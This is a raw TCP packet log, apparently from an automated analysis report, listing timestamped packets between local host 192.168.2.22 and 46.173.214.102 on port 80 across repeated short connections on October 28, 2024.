Oct 28, 2024 16:02:00.202963114 CET	80	49226	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:00.844774961 CET	80	49226	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:00.844877958 CET	49226	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:00.845529079 CET	49226	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:00.850883007 CET	80	49226	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:00.993655920 CET	49227	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:00.999136925 CET	80	49227	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:00.999216080 CET	49227	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:01.001804113 CET	49227	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:01.007098913 CET	80	49227	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:01.648819923 CET	80	49227	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:01.648936987 CET	49227	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:01.649059057 CET	49227	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:01.654354095 CET	80	49227	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:01.753040075 CET	49228	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:01.758677006 CET	80	49228	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:01.758779049 CET	49228	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:01.759000063 CET	49228	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:01.764297009 CET	80	49228	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:02.428786039 CET	80	49228	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:02.428900957 CET	49228	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:02.428994894 CET	49228	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:02.434452057 CET	80	49228	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:02.582720041 CET	49229	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:02.588166952 CET	80	49229	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:02.588236094 CET	49229	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:02.623879910 CET	49229	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:02.629522085 CET	80	49229	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:03.225502014 CET	80	49229	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:03.225565910 CET	49229	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:03.225867987 CET	49229	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:03.231662035 CET	80	49229	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:03.327728987 CET	49230	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:03.333317995 CET	80	49230	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:03.333389044 CET	49230	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:03.333568096 CET	49230	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:03.339077950 CET	80	49230	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:03.974210978 CET	80	49230	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:03.974332094 CET	49230	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:03.978064060 CET	49230	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:03.983556986 CET	80	49230	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:04.121376991 CET	49231	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:04.126910925 CET	80	49231	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:04.127017021 CET	49231	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:04.133446932 CET	49231	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:04.138907909 CET	80	49231	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:04.789275885 CET	80	49231	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:04.789405107 CET	49231	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:04.790796995 CET	49231	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:04.796503067 CET	80	49231	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:04.887537003 CET	49232	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:04.895209074 CET	80	49232	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:04.895302057 CET	49232	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:04.895447016 CET	49232	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:04.901863098 CET	80	49232	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:05.690026999 CET	80	49232	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:05.690128088 CET	49232	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:05.690207005 CET	49232	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:05.695553064 CET	80	49232	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:05.792162895 CET	49233	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:05.797662973 CET	80	49233	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:05.797740936 CET	49233	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:05.804275990 CET	49233	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:05.809632063 CET	80	49233	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:06.430227041 CET	80	49233	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:06.430342913 CET	49233	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:06.430474997 CET	49233	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:06.436889887 CET	80	49233	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:06.547848940 CET	49234	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:06.553329945 CET	80	49234	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:06.553389072 CET	49234	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:06.554359913 CET	49234	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:06.559835911 CET	80	49234	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:07.222335100 CET	80	49234	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:07.222417116 CET	49234	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:07.225661993 CET	49234	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:07.231184959 CET	80	49234	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:07.320988894 CET	49235	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:07.326368093 CET	80	49235	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:07.326417923 CET	49235	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:07.335064888 CET	49235	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:07.340537071 CET	80	49235	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:07.957792997 CET	80	49235	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:07.957933903 CET	49235	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:07.958015919 CET	49235	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:07.963320971 CET	80	49235	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:08.054230928 CET	49236	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:08.059858084 CET	80	49236	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:08.059940100 CET	49236	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:08.060118914 CET	49236	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:08.065669060 CET	80	49236	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:08.704524040 CET	80	49236	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:08.704592943 CET	49236	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:08.704678059 CET	49236	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:08.710932016 CET	80	49236	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:08.802906036 CET	49237	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:08.808933973 CET	80	49237	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:08.809031963 CET	49237	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:08.809201002 CET	49237	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:08.814831972 CET	80	49237	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:09.454802990 CET	80	49237	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:09.454926014 CET	49237	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:09.455204010 CET	49237	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:09.460572004 CET	80	49237	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:09.551618099 CET	49238	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:09.557015896 CET	80	49238	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:09.557126045 CET	49238	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:09.557322979 CET	49238	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:09.563114882 CET	80	49238	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:10.209263086 CET	80	49238	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:10.209336042 CET	49238	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:10.211370945 CET	49238	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:10.218080997 CET	80	49238	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:10.316502094 CET	49239	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:10.321907043 CET	80	49239	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:10.321989059 CET	49239	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:10.324944973 CET	49239	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:10.330264091 CET	80	49239	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:10.961684942 CET	80	49239	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:10.961807013 CET	49239	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:10.961937904 CET	49239	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:10.968291044 CET	80	49239	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:11.066903114 CET	49240	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:11.072235107 CET	80	49240	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:11.072283983 CET	49240	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:11.072511911 CET	49240	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:11.078564882 CET	80	49240	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:11.721030951 CET	80	49240	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:11.721400976 CET	49240	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:11.732995033 CET	49240	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:11.738450050 CET	80	49240	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:11.829246044 CET	49241	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:11.835042000 CET	80	49241	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:11.835294008 CET	49241	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:11.835294008 CET	49241	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:11.840867043 CET	80	49241	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:12.476907015 CET	80	49241	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:12.477281094 CET	49241	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:12.477281094 CET	49241	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:12.482764006 CET	80	49241	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:12.589731932 CET	49242	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:12.595341921 CET	80	49242	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:12.595494986 CET	49242	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:12.595652103 CET	49242	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:12.601362944 CET	80	49242	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:13.248920918 CET	80	49242	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:13.249098063 CET	49242	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:13.249145031 CET	49242	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:13.254564047 CET	80	49242	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:13.359771967 CET	49243	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:13.365528107 CET	80	49243	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:13.365632057 CET	49243	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:13.366276979 CET	49243	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:13.371903896 CET	80	49243	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:14.001795053 CET	80	49243	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:14.001930952 CET	49243	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.002031088 CET	49243	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.008429050 CET	80	49243	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:14.106766939 CET	49244	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.112185955 CET	80	49244	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:14.112251043 CET	49244	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.112354994 CET	49244	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.117618084 CET	80	49244	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:14.780889988 CET	80	49244	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:14.780970097 CET	49244	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.781059980 CET	49244	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.788178921 CET	80	49244	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:14.886822939 CET	49245	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.892234087 CET	80	49245	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:14.892309904 CET	49245	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.892595053 CET	49245	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:14.898108959 CET	80	49245	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:15.540357113 CET	80	49245	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:15.540467978 CET	49245	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:15.540540934 CET	49245	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:15.546086073 CET	80	49245	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:15.635533094 CET	49246	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:15.641247988 CET	80	49246	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:15.641334057 CET	49246	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:15.641447067 CET	49246	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:15.646867990 CET	80	49246	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:16.302545071 CET	80	49246	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:16.302711010 CET	49246	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:16.302983046 CET	49246	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:16.308334112 CET	80	49246	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:16.402806044 CET	49247	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:16.408474922 CET	80	49247	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:16.408529997 CET	49247	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:16.414381981 CET	49247	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:16.419759035 CET	80	49247	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:17.062175035 CET	80	49247	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:17.062308073 CET	49247	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.062396049 CET	49247	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.068842888 CET	80	49247	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:17.164905071 CET	49248	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.170366049 CET	80	49248	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:17.170437098 CET	49248	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.170665979 CET	49248	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.175981998 CET	80	49248	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:17.804440975 CET	80	49248	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:17.804563046 CET	49248	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.804703951 CET	49248	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.811760902 CET	80	49248	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:17.916721106 CET	49249	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.922292948 CET	80	49249	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:17.922548056 CET	49249	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.922548056 CET	49249	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:17.927898884 CET	80	49249	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:18.571696997 CET	80	49249	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:18.571861029 CET	49249	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:18.598664999 CET	49249	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:18.604229927 CET	80	49249	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:18.711579084 CET	49250	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:18.717350960 CET	80	49250	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:18.717463970 CET	49250	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:18.717720985 CET	49250	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:18.723721981 CET	80	49250	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:19.356266022 CET	80	49250	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:19.356327057 CET	49250	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:19.356497049 CET	49250	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:19.361993074 CET	80	49250	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:19.457638025 CET	49251	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:19.463237047 CET	80	49251	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:19.463346004 CET	49251	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:19.464903116 CET	49251	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:19.470415115 CET	80	49251	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:20.116331100 CET	80	49251	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:20.116503000 CET	49251	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.116641045 CET	49251	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.121927023 CET	80	49251	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:20.222018957 CET	49252	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.227483034 CET	80	49252	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:20.227536917 CET	49252	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.227648973 CET	49252	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.232975006 CET	80	49252	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:20.867250919 CET	80	49252	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:20.867383003 CET	49252	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.867450953 CET	49252	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.872818947 CET	80	49252	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:20.970832109 CET	49253	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.976273060 CET	80	49253	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:20.976334095 CET	49253	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.976442099 CET	49253	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:20.981700897 CET	80	49253	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:21.619558096 CET	80	49253	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:21.619648933 CET	49253	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:21.619750023 CET	49253	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:21.625118971 CET	80	49253	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:21.720200062 CET	49254	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:21.725625992 CET	80	49254	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:21.725707054 CET	49254	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:21.725837946 CET	49254	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:21.732212067 CET	80	49254	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:22.371989012 CET	80	49254	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:22.372142076 CET	49254	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:22.512185097 CET	49254	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:22.517965078 CET	80	49254	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:22.609213114 CET	49255	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:22.615650892 CET	80	49255	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:22.615730047 CET	49255	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:22.617104053 CET	49255	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:22.622533083 CET	80	49255	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:23.252418041 CET	80	49255	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:23.252485037 CET	49255	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:23.252602100 CET	49255	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:23.257960081 CET	80	49255	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:23.357971907 CET	49256	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:23.363472939 CET	80	49256	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:23.363528013 CET	49256	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:23.363851070 CET	49256	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:23.369157076 CET	80	49256	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:24.010206938 CET	80	49256	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:24.010420084 CET	49256	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.010514021 CET	49256	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.015930891 CET	80	49256	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:24.106784105 CET	49257	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.112323046 CET	80	49257	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:24.112425089 CET	49257	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.112550020 CET	49257	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.118001938 CET	80	49257	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:24.783821106 CET	80	49257	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:24.783922911 CET	49257	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.784020901 CET	49257	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.789478064 CET	80	49257	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:24.899518967 CET	49258	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.905163050 CET	80	49258	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:24.905266047 CET	49258	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.906722069 CET	49258	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:24.912060976 CET	80	49258	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:25.548404932 CET	80	49258	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:25.548515081 CET	49258	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:25.548636913 CET	49258	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:25.554007053 CET	80	49258	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:25.651071072 CET	49259	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:25.656599045 CET	80	49259	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:25.656670094 CET	49259	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:25.656866074 CET	49259	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:25.662461042 CET	80	49259	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:26.332472086 CET	80	49259	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:26.332607985 CET	49259	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:26.332669973 CET	49259	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:26.339797974 CET	80	49259	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:26.431083918 CET	49260	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:26.436871052 CET	80	49260	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:26.437093973 CET	49260	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:26.437319040 CET	49260	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:26.442801952 CET	80	49260	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:27.082848072 CET	80	49260	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:27.083050013 CET	49260	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.083115101 CET	49260	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.088582993 CET	80	49260	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:27.181049109 CET	49261	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.186722040 CET	80	49261	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:27.186788082 CET	49261	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.187208891 CET	49261	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.192688942 CET	80	49261	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:27.834120035 CET	80	49261	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:27.834212065 CET	49261	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.857295990 CET	49261	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.862823009 CET	80	49261	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:27.961947918 CET	49262	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.968095064 CET	80	49262	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:27.968167067 CET	49262	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.969928026 CET	49262	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:27.975375891 CET	80	49262	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:28.607184887 CET	80	49262	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:28.607301950 CET	49262	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:30.320671082 CET	49262	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:30.326330900 CET	80	49262	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:30.454992056 CET	49263	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:30.460875988 CET	80	49263	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:30.460951090 CET	49263	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:30.461158037 CET	49263	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:30.467123032 CET	80	49263	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:31.102518082 CET	80	49263	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:31.102602005 CET	49263	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.102829933 CET	49263	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.108392000 CET	80	49263	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:31.204673052 CET	49264	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.210268974 CET	80	49264	46.173.214.102	192.168.2.22
